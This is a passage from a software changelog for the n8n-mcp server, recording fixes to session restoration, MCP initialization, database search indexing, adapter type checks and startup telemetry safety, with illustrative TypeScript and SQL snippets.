- **Impact**: Zero-downtime deployments still broken - users cannot use tools after container restart without manually restarting their MCP client
- **Severity**: CRITICAL - session persistence incomplete without MCP server initialization
- **Root Cause**:
- MCP protocol requires an `initialize` handshake before accepting tool calls
- When restoring a session, we create a NEW MCP Server instance (uninitialized state)
- Client thinks it already initialized (it did, with the old instance before restart)
- Client sends tool call, new server rejects it: "Server not initialized"
- The three layers of a session: (1) Data (InstanceContext) ✅, (2) Transport (HTTP) ✅ v2.19.3, (3) Protocol (MCP Server) ❌ not initialized
- **Fix Applied**:
- Created `initializeMCPServerForSession()` method that sends synthetic initialize request to new MCP server instance
- Brings server into initialized state without requiring client to re-initialize
- Called after `server.connect(transport)` during session restoration flow
- Includes 5-second timeout and comprehensive error handling
- **Location**: `src/http-server-single-session.ts:521-605` (new method), `src/http-server-single-session.ts:1321-1327` (application)
- **Tests**: Compilation verified, ready for integration testing
- **Verification**: Build successful, no TypeScript errors
#### Technical Details
**The Three Layers of Session State:**
1. **Data Layer** (InstanceContext): Session configuration and state ✅ v2.19.0
2. **Transport Layer** (HTTP Connection): Request/response binding ✅ v2.19.3
3. **Protocol Layer** (MCP Server Instance): Initialize handshake ✅ v2.19.4
**Implementation:**
```typescript
// After connecting transport, initialize the MCP server
await server.connect(transport);
await this.initializeMCPServerForSession(sessionId, server, restoredContext);
```
The synthetic initialize request:
- Uses standard MCP protocol version
- Includes client info: `n8n-mcp-restored-session`
- Calls server's initialize handler directly
- Waits for initialization to complete (5 second timeout)
- Brings server into initialized state
#### Dependencies
- Requires: v2.19.3 (transport layer fix)
- Completes: Session persistence feature (v2.19.0-v2.19.4)
- Enables: True zero-downtime deployments for HTTP-based deployments
## [2.19.3] - 2025-10-13
### 🐛 Critical Bug Fixes
**Session Restoration Transport Layer (P0 - CRITICAL)**
Fixes critical bug where session restoration successfully restored InstanceContext but failed to reconnect the transport layer, causing all requests on restored sessions to hang indefinitely.
#### Fixed
- **Transport Layer Not Reconnected During Session Restoration**
- **Issue**: Session restoration successfully restored InstanceContext (session state) but failed to connect transport layer (HTTP req/res binding), causing requests to hang indefinitely
- **Impact**: Zero-downtime deployments broken - users cannot continue work after container restart without restarting their MCP client (Claude Desktop, Cursor, Windsurf)
- **Severity**: CRITICAL - session persistence completely non-functional for production use
- **Root Cause**:
- The `handleRequest()` method's session restoration flow (lines 1119-1197) called `createSession()` which creates a NEW transport separate from the current HTTP request
- This separate transport is not linked to the current req/res pair, so responses cannot be sent back through the active HTTP connection
- The initialize flow (lines 946-1055) correctly creates transport inline for the current request, but restoration flow did not follow this pattern
- **Fix Applied**:
- Replace `createSession()` call with inline transport creation that mirrors the initialize flow
- Create `StreamableHTTPServerTransport` directly for the current HTTP req/res context
- Ensure transport is connected to server BEFORE handling request
- This makes restored sessions work identically to fresh sessions
- **Location**: `src/http-server-single-session.ts:1163-1244`
- **Tests Added**:
- Integration tests: `tests/integration/session-persistence.test.ts` (13 tests all passing)
- **Verification**: All session persistence integration tests passing
#### Technical Details
**Before Fix (Broken):**
```typescript
// Session restoration (WRONG - creates separate transport)
await this.createSession(restoredContext, sessionId, true);
transport = this.transports[sessionId]; // Transport NOT linked to current req/res!
```
**After Fix (Working):**
```typescript
// Session restoration (CORRECT - inline transport for current request)
const server = new N8NDocumentationMCPServer(restoredContext);
transport = new StreamableHTTPServerTransport({
sessionIdGenerator: () => sessionId,
onsessioninitialized: (id) => {
this.transports[id] = transport; // Store for future requests
this.servers[id] = server;
// ... metadata storage
}
});
await server.connect(transport); // Connect BEFORE handling request
```
**Why This Matters:**
- The `StreamableHTTPServerTransport` class from MCP SDK links a specific HTTP req/res pair to the MCP server
- Creating transport in `createSession()` binds it to the wrong req/res (or no req/res at all)
- Responses sent through the wrong transport never reach the client
- The initialize flow got this right, but restoration flow did not
**Impact on Zero-Downtime Deployments:**
- ✅ **After fix**: Container restart → Client reconnects with old session ID → Session restored → Requests work normally
- ❌ **Before fix**: Container restart → Client reconnects with old session ID → Session restored → Requests hang forever
#### Migration Notes
This is a **patch release** with no breaking changes:
- No API changes
- No configuration changes required
- Existing code continues to work
- Session restoration now actually works as designed
#### Files Changed
- `src/http-server-single-session.ts`: Fixed session restoration to create transport inline (lines 1163-1244)
- `package.json`, `package.runtime.json`, `src/mcp-engine.ts`: Version bump to 2.19.3
- `tests/integration/session-persistence.test.ts`: Existing tests verify restoration works correctly
## [2.19.2] - 2025-10-13
### 🐛 Critical Bug Fixes
**Session Cleanup Stack Overflow (P0 - CRITICAL)**
Fixes critical stack overflow bug that caused service to become unresponsive after container restart.
#### Fixed
- **Stack Overflow During Session Cleanup**
- **Issue**: Missing `await` in cleanup loop caused concurrent async operations and recursive cleanup cascade
- **Impact**: Stack overflow errors during container restart, all subsequent tool calls hang indefinitely
- **Severity**: CRITICAL - makes service unusable after restart for all users with session persistence
- **Root Causes**:
1. `cleanupExpiredSessions()` line 206 called `removeSession()` without `await`, causing overlapping cleanup attempts
2. Transport event handlers (`onclose`, `onerror`) triggered recursive cleanup during shutdown
3. No recursion guard to prevent concurrent cleanup of same session
- **Fixes Applied**:
1. Added `cleanupInProgress: Set<string>` recursion guard to prevent concurrent cleanup
2. Added `isShuttingDown` flag to prevent recursive event handlers during shutdown
3. Implemented `safeCloseTransport()` helper with timeout protection (3 seconds)
4. Updated `removeSession()` to check recursion guard and use safe transport closing
5. Fixed `cleanupExpiredSessions()` to properly `await` with error isolation
6. Updated all transport event handlers to check shutdown flag before cleanup
7. Enhanced `shutdown()` method to set flag and use proper sequential cleanup
- **Location**: `src/http-server-single-session.ts`
- **Verification**: All 77 session lifecycle tests passing
#### Technical Details
**Recursion Chain (Before Fix):**
```
cleanupExpiredSessions()
└─> removeSession(session, 'expired') [NOT AWAITED]
└─> transport.close()
└─> transport.onclose handler
└─> removeSession(session, 'transport_closed')
└─> transport.close() [AGAIN!]
└─> Stack overflow!
```
**Protection Added:**
- **Recursion Guard**: Prevents same session from being cleaned up concurrently
- **Shutdown Flag**: Disables event handlers during shutdown to break recursion chain
- **Safe Transport Close**: Removes event handlers before closing, uses timeout protection
- **Error Isolation**: Each session cleanup failure doesn't affect others
- **Sequential Cleanup**: Properly awaits each operation to prevent race conditions
#### Impact
- **Reliability**: Service survives container restarts without stack overflow
- **Stability**: No more hanging requests after restart
- **Resilience**: Individual session cleanup failures don't cascade
- **Backward Compatible**: No breaking changes, all existing tests pass
## [2.19.1] - 2025-10-12
### 🐛 Bug Fixes
**Session Lifecycle Event Emission**
Fixes issue where `onSessionCreated` event was not being emitted during standard session initialization flow (when sessions are created directly without restoration).
#### Fixed
- **onSessionCreated Event Missing in Standard Flow**
- **Issue**: `onSessionCreated` event was only emitted during restoration failure fallback, not during normal session creation
- **Impact**: Applications relying on `onSessionCreated` for logging, monitoring, or persistence didn't receive events for directly created sessions
- **Root Cause**: Event emission was only present in restoration error handler, not in standard `initialize()` flow
- **Fix**: Added `onSessionCreated` event emission in `http-server-single-session.ts:436` during standard initialization
- **Location**: `src/http-server-single-session.ts` (initialize method)
- **Verification**: All session lifecycle tests passing (14 tests)
#### Impact
- **Event Consistency**: `onSessionCreated` now fires reliably for all new sessions (whether created directly or after restoration failure)
- **Monitoring**: Complete session lifecycle visibility for logging and analytics systems
- **Backward Compatible**: No breaking changes, only adds missing event emission
## [2.19.0] - 2025-10-12
### ✨ New Features
**Session Lifecycle Events (Phase 3 - REQ-4)**
Adds optional callback-based event system for monitoring session lifecycle, enabling integration with logging, monitoring, and analytics systems.
#### Added
- **Session Lifecycle Event Handlers**
- `onSessionCreated`: Called when new session is created (not restored)
- `onSessionRestored`: Called when session is restored from external storage
- `onSessionAccessed`: Called on every request using existing session
- `onSessionExpired`: Called when session expires due to inactivity
- `onSessionDeleted`: Called when session is manually deleted
- **Implementation**: `src/types/session-restoration.ts` (SessionLifecycleEvents interface)
- **Integration**: `src/http-server-single-session.ts` (event emission at 5 lifecycle points)
- **API**: `src/mcp-engine.ts` (sessionEvents option)
- **Event Characteristics**
- **Fire-and-forget**: Non-blocking, errors logged but don't affect operations
- **Async Support**: Handlers can be sync or async
- **Graceful Degradation**: Handler failures don't break session operations
- **Metadata Support**: Events receive session ID and instance context
#### Use Cases
- **Logging & Monitoring**: Track session lifecycle for debugging and analytics
- **Database Persistence**: Auto-save sessions on creation/restoration
- **Metrics**: Track session activity and expiration patterns
- **Cleanup**: Cascade delete related data when sessions expire
- **Throttling**: Update lastAccess timestamps (with throttling for performance)
#### Example Usage
```typescript
import { N8NMCPEngine } from 'n8n-mcp';
import throttle from 'lodash.throttle';
const engine = new N8NMCPEngine({
sessionEvents: {
onSessionCreated: async (sessionId, context) => {
await db.saveSession(sessionId, context);
analytics.track('session_created', { sessionId });
},
onSessionRestored: async (sessionId, context) => {
analytics.track('session_restored', { sessionId });
},
// Throttle high-frequency event to prevent DB overload
onSessionAccessed: throttle(async (sessionId) => {
await db.updateLastAccess(sessionId);
}, 60000), // Max once per minute
onSessionExpired: async (sessionId) => {
await db.deleteSession(sessionId);
await cleanup.removeRelatedData(sessionId);
},
onSessionDeleted: async (sessionId) => {
await db.deleteSession(sessionId);
}
}
});
```
---
**Session Restoration Retry Policy (Phase 4 - REQ-7)**
Adds configurable retry logic for transient failures during session restoration, improving reliability for database-backed persistence.
#### Added
- **Retry Configuration Options**
- `sessionRestorationRetries`: Number of retry attempts (default: 0, opt-in)
- `sessionRestorationRetryDelay`: Delay between attempts in milliseconds (default: 100ms)
- **Implementation**: `src/http-server-single-session.ts` (restoreSessionWithRetry method)
- **API**: `src/mcp-engine.ts` (retry options)
- **Retry Behavior**
- **Overall Timeout**: Applies to ALL attempts combined, not per attempt
- **No Retry for Timeouts**: Timeout errors are never retried (already took too long)
- **Exponential Backoff**: Optional via custom delay configuration
- **Error Logging**: Logs each retry attempt with context
#### Use Cases
- **Database Retries**: Handle transient connection failures
- **Network Resilience**: Retry on temporary network errors
- **Rate Limit Handling**: Backoff and retry when hitting rate limits
- **High Availability**: Improve reliability of external storage
#### Example Usage
```typescript
const engine = new N8NMCPEngine({
onSessionNotFound: async (sessionId) => {
// May fail transiently due to database load
return await database.loadSession(sessionId);
},
sessionRestorationRetries: 3, // Retry up to 3 times
sessionRestorationRetryDelay: 100, // 100ms between retries
sessionRestorationTimeout: 5000 // 5s total for all attempts
});
```
#### Error Handling
- **Retryable Errors**: Database connection failures, network errors, rate limits
- **Non-Retryable**: Timeout errors (already exceeded time limit)
- **Logging**: Each retry logged with attempt number and error details
#### Testing
- **Unit Tests**: 34 tests passing (14 lifecycle events + 20 retry policy)
- `tests/unit/session-lifecycle-events.test.ts` (14 tests)
- `tests/unit/session-restoration-retry.test.ts` (20 tests)
- **Integration Tests**: 14 tests covering combined behavior
- `tests/integration/session-lifecycle-retry.test.ts`
- **Coverage**: Event emission, retry logic, timeout handling, backward compatibility
#### Documentation
- **Types**: Full JSDoc documentation in type definitions
- **Examples**: Practical examples in CHANGELOG and type comments
- **Migration**: Backward compatible - no breaking changes
#### Impact
- **Reliability**: Improved session restoration success rate
- **Observability**: Complete visibility into session lifecycle
- **Integration**: Easy integration with existing monitoring systems
- **Performance**: Non-blocking event handlers prevent slowdowns
- **Flexibility**: Opt-in retry policy with sensible defaults
## [2.18.8] - 2025-10-11
### 🐛 Bug Fixes
**PR #308: Enable Schema-Based resourceLocator Mode Validation**
This release fixes critical validator false positives by implementing true schema-based validation for resourceLocator modes. The root cause was discovered through deep analysis: the validator was looking at the wrong path for mode definitions in n8n node schemas.
#### Root Cause
- **Wrong Path**: Validator checked `prop.typeOptions?.resourceLocator?.modes` ❌
- **Correct Path**: n8n stores modes at `prop.modes` (top level of property) ✅
- **Impact**: 0% validation coverage - all resourceLocator validation was being skipped, causing false positives
#### Fixed
- **Schema-Based Validation Now Active**
- **Issue #304**: Google Sheets "name" mode incorrectly rejected (false positive)
- **Coverage**: Increased from 0% to 100% (all 70 resourceLocator nodes now validated)
- **Root Cause**: Validator reading from wrong schema path
- **Fix**: Changed validation path from `prop.typeOptions?.resourceLocator?.modes` to `prop.modes`
- **Files Changed**:
- `src/services/config-validator.ts` (lines 273-310): Corrected validation path
- `src/parsers/property-extractor.ts` (line 234): Added modes field capture
- `src/services/node-specific-validators.ts` (lines 270-282): Google Sheets range/columns flexibility
- Updated 6 test files to match real n8n schema structure
- **Database Rebuild**
- Rebuilt with modes field captured from n8n packages
- All 70 resourceLocator nodes now have mode definitions populated
- Enables true schema-driven validation (no more hardcoded mode lists)
- **Google Sheets Enhancement**
- Now accepts EITHER `range` OR `columns` parameter for append operation
- Supports Google Sheets v4+ resourceMapper pattern
- Better error messages showing actual allowed modes from schema
#### Testing
- **Before Fix**:
- ❌ Valid Google Sheets "name" mode rejected (false positive)
- ❌ Schema-based validation inactive (0% coverage)
- ❌ Hardcoded mode validation only
- **After Fix**:
- ✅ Valid "name" mode accepted
- ✅ Schema-based validation active (100% coverage - 70/70 nodes)
- ✅ Invalid modes rejected with helpful errors: `must be one of [list, url, id, name]`
- ✅ All 143 tests pass
- ✅ Verified with n8n-mcp-tester agent
#### Impact
- **Fixes #304**: Google Sheets "name" mode false positive eliminated
- **Related to #306**: Validator improvements
- **No Breaking Changes**: More permissive (accepts previously rejected valid modes)
- **Better UX**: Error messages show actual allowed modes from schema
- **Maintainability**: Schema-driven approach eliminates need for hardcoded mode lists
- **Code Quality**: Code review score 9.3/10
#### Example Error Message (After Fix)
```
resourceLocator 'sheetName.mode' must be one of [list, url, id, name], got 'invalid'
Fix: Change mode to one of: list, url, id, name
```
## [2.18.6] - 2025-10-10
### 🐛 Bug Fixes
**PR #303: Environment-Aware Debugging Test Fix**
This release fixes a unit test failure that occurred after implementing environment-aware debugging improvements. The handleHealthCheck error handler now includes troubleshooting guidance in error responses, and the test expectations have been updated to match.
#### Fixed
- **Unit Test Failure in handleHealthCheck**
- **Issue**: Test expected error response without `troubleshooting` array field
- **Impact**: CI pipeline failing on PR #303 after adding environment-aware debugging
- **Root Cause**: Environment-aware debugging improvements added a `troubleshooting` array to error responses, but unit test wasn't updated
- **Fix**: Updated test expectation to include the new troubleshooting field (lines 1030-1035 in `tests/unit/mcp/handlers-n8n-manager.test.ts`)
- **Error Response Structure** (now includes):
```typescript
details: {
apiUrl: 'https://n8n.test.com',
hint: 'Check if n8n is running and API is enabled',
troubleshooting: [
'1. Verify n8n instance is running',
'2. Check N8N_API_URL is correct',
'3. Verify N8N_API_KEY has proper permissions',
'4. Run n8n_diagnostic for detailed analysis'
]
}
```
#### Testing
- **Unit Test**: Test now passes with troubleshooting array expectation
- **MCP Testing**: Extensively validated with n8n-mcp-tester agent
- Health check successful connections: ✅
- Error responses include troubleshooting guidance: ✅
- Diagnostic tool environment detection: ✅
- Mode-specific debugging (stdio/HTTP): ✅
- All environment-aware debugging features working correctly: ✅
#### Impact
- **CI Pipeline**: PR #303 now passes all tests
- **Error Guidance**: Users receive actionable troubleshooting steps when API errors occur
- **Environment Detection**: Comprehensive debugging guidance based on deployment environment
- **Zero Breaking Changes**: Only internal test expectations updated
#### Related
- **PR #303**: feat: Add environment-aware debugging to diagnostic tools
- **Implementation**: `src/mcp/handlers-n8n-manager.ts` lines 1447-1462
- **Diagnostic Tool**: Enhanced with mode-specific, Docker-specific, and cloud platform-specific debugging
## [2.18.5] - 2025-10-10
### 🔍 Search Performance & Reliability
**Issue #296 Part 2: Fix Production Search Failures (69% Failure Rate)**
This release fixes critical search failures that caused 69% of user searches to return zero results in production. Telemetry analysis revealed searches for critical nodes like "webhook", "merge", and "split batch" were failing despite nodes existing in the database.
#### Problem
**Root Cause Analysis:**
1. **Missing FTS5 Table**: Production database had NO `nodes_fts` FTS5 virtual table
2. **Empty Database Scenario**: When database was empty, both FTS5 and LIKE fallback returned zero results
3. **No Detection**: Missing validation to catch empty database or missing FTS5 table
4. **Production Impact**: 9 of 13 searches (69%) returned zero results for critical nodes with high user adoption
**Telemetry Evidence** (Sept 26 - Oct 9, 2025):
- "webhook" search: 3 failures (node has 39.6% adoption rate - 4,316 actual uses)
- "merge" search: 1 failure (node has 10.7% adoption rate - 1,418 actual uses)
- "split batch" search: 2 failures (node is actively used in workflows)
- Overall: 9/13 searches failed (69% failure rate)
**Technical Root Cause:**
- `schema.sql` had a note claiming "FTS5 tables are created conditionally at runtime" (line 111)
- This was FALSE - no runtime creation code existed
- `schema-optimized.sql` had correct FTS5 implementation but was never used
- `rebuild.ts` used `schema.sql` without FTS5
- Result: Production database had NO search index
#### Fixed
**1. Schema Updates**
- **File**: `src/database/schema.sql`
- Added `nodes_fts` FTS5 virtual table with full-text indexing
- Added synchronization triggers (INSERT/UPDATE/DELETE) to keep FTS5 in sync with nodes table
- Indexes: node_type, display_name, description, documentation, operations
- Updated misleading note about conditional FTS5 creation
**2. Database Validation**
- **File**: `src/scripts/rebuild.ts`
- Added critical empty database detection (fails fast if zero nodes)
- Added FTS5 table existence validation
- Added FTS5 synchronization check (nodes count must match FTS5 count)
- Added searchability tests for critical nodes (webhook, merge, split)
- Added minimum node count validation (expects 500+ nodes from both packages)
**3. Runtime Health Checks**
- **File**: `src/mcp/server.ts`
- Added database health validation on first access
- Detects empty database and throws clear error message
- Detects missing FTS5 table with actionable warning
- Logs successful health check with node count
**4. Comprehensive Test Suite**
- **New File**: `tests/integration/database/node-fts5-search.test.ts` (14 tests)
- FTS5 table existence and trigger validation
- FTS5 index population and synchronization
- Production failure case tests (webhook, merge, split, code, http)
- Search quality and ranking tests
- Real-time trigger synchronization tests
- **New File**: `tests/integration/database/empty-database.test.ts` (14 tests)
- Empty nodes table detection
- Empty FTS5 index detection
- LIKE fallback behavior with empty database
- Repository method behavior with no data
- Validation error messages
- **New File**: `tests/integration/ci/database-population.test.ts` (24 tests)
- **CRITICAL CI validation** - ensures database is committed with data
- Validates all production search scenarios work (webhook, merge, code, http, split)
- Both FTS5 and LIKE fallback search validation
- Performance baselines (FTS5 < 100ms, LIKE < 500ms)
- Documentation coverage and property extraction metrics
- **Tests FAIL if database is empty or FTS5 missing** (prevents regressions)
#### Technical Details
**FTS5 Implementation:**
```sql
CREATE VIRTUAL TABLE IF NOT EXISTS nodes_fts USING fts5(
node_type,
display_name,
description,
documentation,
operations,
content=nodes,
content_rowid=rowid
);
```
**Synchronization Triggers:**
- `nodes_fts_insert`: Adds to FTS5 when node inserted
- `nodes_fts_update`: Updates FTS5 when node modified
- `nodes_fts_delete`: Removes from FTS5 when node deleted
**Validation Strategy:**
1. **Build Time** (`rebuild.ts`): Validates FTS5 creation and population
2. **Runtime** (`server.ts`): Health check on first database access
3. **CI Time** (tests): 52 tests ensure database integrity
**Search Performance:**
- FTS5 search: < 100ms for typical queries (20 results)
- LIKE fallback: < 500ms (still functional if FTS5 unavailable)
- Ranking: Exact matches prioritized in results
#### Impact
**Before Fix:**
- 69% of searches returned zero results
- Users couldn't find critical nodes via AI assistant
- Silent failure - no error messages
- n8n workflows still worked (nodes loaded directly from npm)
**After Fix:**
- ✅ All critical searches return results
- ✅ FTS5 provides fast, ranked search
- ✅ Clear error messages if database empty
- ✅ CI tests prevent regression
- ✅ Runtime health checks detect issues immediately
**LIKE Search Investigation:**
Testing revealed LIKE search fallback was **perfectly functional** - it only failed because the database was empty. No changes needed to LIKE implementation.
#### Related
- Addresses production search failures from Issue #296
- Complements v2.18.4 (which fixed adapter bypass for sql.js)
- Prevents silent search failures in production
- Ensures AI assistants can reliably search for nodes
#### Migration
**Existing Installations:**
```bash
# Rebuild database to add FTS5 index
npm run rebuild
# Verify FTS5 is working
npm run validate
```
**CI/CD:**
- New CI validation suite (`tests/integration/ci/database-population.test.ts`)
- Runs when database exists (after n8n update commits)
- Validates FTS5 table, search functionality, and data integrity
- Tests are skipped if database doesn't exist (most PRs don't commit database)
## [2.18.4] - 2025-10-09
### 🐛 Bug Fixes
**Issue #296: sql.js Adapter Bypass Causing MCP Tool Failures**
This release fixes a critical constructor bug in `NodeRepository` that caused the sql.js database adapter to be bypassed, resulting in empty object returns and MCP tool failures.
#### Problem
When using the sql.js fallback adapter (pure JavaScript implementation without native dependencies), three critical MCP tools were failing with "Cannot read properties of undefined" errors:
- `get_node_essentials`
- `get_node_info`
- `validate_node_operation`
**Root Cause:**
The `NodeRepository` constructor used duck typing (`'db' in object`) to determine whether to unwrap the database adapter. This check incorrectly matched BOTH `SQLiteStorageService` AND `DatabaseAdapter` instances because both have a `.db` property.
When sql.js was used:
1. `createDatabaseAdapter()` returned a `SQLJSAdapter` instance (wrapped)
2. `NodeRepository` constructor saw `'db' in adapter` was true
3. Constructor unwrapped it: `this.db = adapter.db`
4. This exposed the raw sql.js `Database` object, bypassing all wrapper logic
5. Raw sql.js API has completely different behavior (returns typed arrays instead of objects)
6. Result: Empty objects `{}` with no properties, causing undefined property access errors
#### Fixed
**NodeRepository Constructor Type Discrimination**
- Changed from duck typing (`'db' in object`) to precise instanceof check
- Only unwrap `SQLiteStorageService` instances (intended behavior)
- Keep `DatabaseAdapter` instances intact (preserves wrapper logic)
- File: `src/database/node-repository.ts`
#### Technical Details
**Before (Broken):**
```typescript
constructor(dbOrService: DatabaseAdapter | SQLiteStorageService) {
if ('db' in dbOrService) { // ❌ Matches EVERYTHING with .db property
this.db = dbOrService.db; // Unwraps both SQLiteStorageService AND DatabaseAdapter
} else {
this.db = dbOrService;
}
}
```
**After (Fixed):**
```typescript
constructor(dbOrService: DatabaseAdapter | SQLiteStorageService) {
if (dbOrService instanceof SQLiteStorageService) { // ✅ Only matches SQLiteStorageService
this.db = dbOrService.db;
return;
}
this.db = dbOrService; // ✅ Keep DatabaseAdapter intact
}
```
**Why instanceof is Critical:**
- `'db' in object` is property checking (duck typing) - too permissive
- `instanceof` is class hierarchy checking - precise type discrimination
- With instanceof, sql.js queries flow through `SQLJSAdapter` → `SQLJSStatement` wrapper chain
- Wrapper normalizes sql.js behavior to match better-sqlite3 API (object returns)
**Impact:**
- Fixes MCP tool failures on systems where better-sqlite3 cannot compile (Node.js version mismatches, ARM architectures)
- Ensures sql.js fallback works correctly with proper data normalization
- No performance impact (same code path, just preserved wrapper)
#### Related
- Closes issue #296
- Affects environments where better-sqlite3 falls back to sql.js
- Common in Docker containers, CI environments, and ARM-based systems
## [2.18.3] - 2025-10-09
### 🔒 Critical Safety Fixes
**Emergency hotfix addressing 7 critical issues from v2.18.2 code review.**
This release fixes critical safety violations in the startup error logging system that could have prevented the server from starting. All fixes ensure telemetry failures never crash the server.
#### Problem
Code review of v2.18.2 identified 7 critical/high-priority safety issues:
- **CRITICAL-01**: Missing database checkpoints (DATABASE_CONNECTING/CONNECTED never logged)
- **CRITICAL-02**: Constructor can throw before defensive initialization
- **CRITICAL-03**: Blocking awaits delay startup (5s+ with 10 checkpoints × 500ms latency)
- **HIGH-01**: ReDoS vulnerability in error sanitization regex
- **HIGH-02**: Race conditions in EarlyErrorLogger initialization
- **HIGH-03**: No timeout on Supabase operations (can hang indefinitely)
- **HIGH-04**: Missing N8N API checkpoints
#### Fixed
**CRITICAL-01: Missing Database Checkpoints**
- Added `DATABASE_CONNECTING` checkpoint before database initialization
- Added `DATABASE_CONNECTED` checkpoint after successful initialization
- Pass `earlyLogger` to `N8NDocumentationMCPServer` constructor
- Checkpoint logging in `initializeDatabase()` method
- Files: `src/mcp/server.ts`, `src/mcp/index.ts`
**CRITICAL-02: Constructor Can Throw**
- Converted `EarlyErrorLogger` to singleton pattern with `getInstance()` method
- Initialize ALL fields to safe defaults BEFORE any operation that can throw
- Defensive initialization order:
1. Set `enabled = false` (safe default)
2. Set `supabase = null` (safe default)
3. Set `userId = null` (safe default)
4. THEN wrap initialization in try-catch
- Async `initialize()` method separated from constructor
- File: `src/telemetry/early-error-logger.ts`
**CRITICAL-03: Blocking Awaits Delay Startup**
- Removed ALL `await` keywords from checkpoint calls (8 locations)
- Changed `logCheckpoint()` from async to synchronous (void return)
- Changed `logStartupError()` to fire-and-forget with internal async implementation
- Changed `logStartupSuccess()` to fire-and-forget
- Startup no longer blocked by telemetry operations
- Files: `src/mcp/index.ts`, `src/telemetry/early-error-logger.ts`
**HIGH-01: ReDoS Vulnerability in Error Sanitization**
- Removed negative lookbehind regex: `(?<!Bearer\s)token\s*[=:]\s*\S+`
- Replaced with simplified regex: `\btoken\s*[=:]\s*[^\s;,)]+`
- No complex capturing groups (catastrophic backtracking impossible)
- File: `src/telemetry/error-sanitization-utils.ts`
**HIGH-02: Race Conditions in EarlyErrorLogger**
- Singleton pattern prevents multiple instances
- Added `initPromise` property to track initialization state
- Added `waitForInit()` method for testing
- All methods gracefully handle uninitialized state
- File: `src/telemetry/early-error-logger.ts`
**HIGH-03: No Timeout on Supabase Operations**
- Added `withTimeout()` wrapper function (5-second max)
- Uses `Promise.race()` pattern to prevent hanging
- Applies to all direct Supabase inserts
- Returns `null` on timeout (graceful degradation)
- File: `src/telemetry/early-error-logger.ts`
**HIGH-04: Missing N8N API Checkpoints**
- Added `N8N_API_CHECKING` checkpoint before n8n API configuration check
- Added `N8N_API_READY` checkpoint after configuration validated
- Logged after database initialization completes
- File: `src/mcp/server.ts`
#### Added
**Shared Sanitization Utilities**
- Created `src/telemetry/error-sanitization-utils.ts`
- `sanitizeErrorMessageCore()` function shared across modules
- Eliminates code duplication between `error-sanitizer.ts` and `event-tracker.ts`
- Includes ReDoS fix (simplified token regex)
**Singleton Pattern for EarlyErrorLogger**
- `EarlyErrorLogger.getInstance()` - Get singleton instance
- Private constructor prevents direct instantiation
- `waitForInit()` method for testing
**Timeout Wrapper**
- `withTimeout()` helper function
- 5-second timeout for all Supabase operations
- Promise.race pattern with automatic cleanup
#### Changed
**EarlyErrorLogger Architecture**
- Singleton instead of direct instantiation
- Defensive initialization (safe defaults first)
- Fire-and-forget methods (non-blocking)
- Timeout protection for network operations
**Checkpoint Logging**
- All checkpoint calls are now fire-and-forget (no await)
- No startup delay from telemetry operations
- Database checkpoints now logged in server.ts
- N8N API checkpoints now logged after database init
**Error Sanitization**
- Shared utilities across all telemetry modules
- ReDoS-safe regex patterns
- Consistent sanitization behavior
#### Technical Details
**Defensive Initialization Pattern:**
```typescript
export class EarlyErrorLogger {
// Safe defaults FIRST (before any throwing operation)
private enabled: boolean = false;
private supabase: SupabaseClient | null = null;
private userId: string | null = null;
private constructor() {
// Kick off async init without blocking
this.initPromise = this.initialize();
}
private async initialize(): Promise<void> {
try {
// Validate config BEFORE using
if (!TELEMETRY_BACKEND.URL || !TELEMETRY_BACKEND.ANON_KEY) {
this.enabled = false;
return;
}
// ... rest of initialization
} catch (error) {
// Ensure safe state on error
this.enabled = false;
this.supabase = null;
this.userId = null;
}
}
}
```
**Fire-and-Forget Pattern:**
```typescript
// BEFORE (BLOCKING):
await earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.PROCESS_STARTED);
// AFTER (NON-BLOCKING):
earlyLogger.logCheckpoint(STARTUP_CHECKPOINTS.PROCESS_STARTED);
```
**Timeout Wrapper:**
```typescript
async function withTimeout<T>(promise: Promise<T>, timeoutMs: number, operation: string): Promise<T | null> {
try {
const timeoutPromise = new Promise<T>((_, reject) => {
setTimeout(() => reject(new Error(`${operation} timeout after ${timeoutMs}ms`)), timeoutMs);
});
return await Promise.race([promise, timeoutPromise]);
} catch (error) {
logger.debug(`${operation} failed or timed out:`, error);
return null;
}
}
```
**ReDoS Fix:**
```typescript
// BEFORE (VULNERABLE):
.replace(/(?<!Bearer\s)token\s*[=:]\s*\S+/gi, 'token=[REDACTED]')
// AFTER (SAFE):
.replace(/\btoken\s*[=:]\s*[^\s;,)]+/gi, 'token=[REDACTED]')
```
#### Impact
**Server Stability:**
- **100%** elimination of telemetry-caused startup failures
- Telemetry failures NEVER crash the server
- Startup time unaffected by telemetry latency
**Coverage Improvement:**
- Database failures now tracked (DATABASE_CONNECTING/CONNECTED checkpoints)
- N8N API configuration issues now tracked (N8N_API_CHECKING/READY checkpoints)
- Complete visibility into all startup phases
**Performance:**
- No startup delay from telemetry (removed blocking awaits)
- 5-second timeout prevents hanging on Supabase failures
- Fire-and-forget pattern ensures server starts immediately
**Security:**
- ReDoS vulnerability eliminated
- Simplified regex patterns (no catastrophic backtracking)
- Shared sanitization ensures consistency
**Code Quality:**
- DRY principle (shared error-sanitization-utils)
- Defensive programming (safe defaults before operations)
- Race-condition free (singleton + initPromise)
#### Files Changed
**New Files (1):**
- `src/telemetry/error-sanitization-utils.ts` - Shared sanitization utilities
**Modified Files (5):**
- `src/telemetry/early-error-logger.ts` - Singleton + defensive init + fire-and-forget + timeout
- `src/telemetry/error-sanitizer.ts` - Use shared sanitization utils
- `src/telemetry/event-tracker.ts` - Use shared sanitization utils
- `src/mcp/index.ts` - Remove blocking awaits, use singleton getInstance()
- `src/mcp/server.ts` - Add database and N8N API checkpoints
- `package.json` - Version bump to 2.18.3
#### Testing
- **Safety**: All critical issues addressed with comprehensive fixes
- **Backward Compatibility**: 100% - only internal implementation changes
- **TypeScript**: All type checks pass
- **Build**: Clean build with no errors
#### References
- **Code Review**: v2.18.2 comprehensive review identified 7 critical/high issues
- **User Feedback**: "Make sure telemetry failures would not crash the server - it should start regardless of this"
- **Implementation**: All CRITICAL and HIGH recommendations implemented
## [2.18.2] - 2025-10-09
### 🔍 Startup Error Detection
**Added comprehensive startup error tracking to diagnose "server won't start" scenarios.**
This release addresses a critical telemetry gap: we now capture errors that occur BEFORE the MCP server fully initializes, enabling diagnosis of the 2.2% of users who experience startup failures that were previously invisible.
#### Problem
Analysis of telemetry data revealed critical gaps in error coverage:
- **Zero telemetry captured** when server fails to start (no data before MCP handshake)
- **106 users (2.2%)** had only `session_start` with no other activity (likely startup failures)
- **463 users (9.7%)** experienced immediate failures or quick abandonment
- **All 4,478 error events** were from tool execution - none from initialization phase
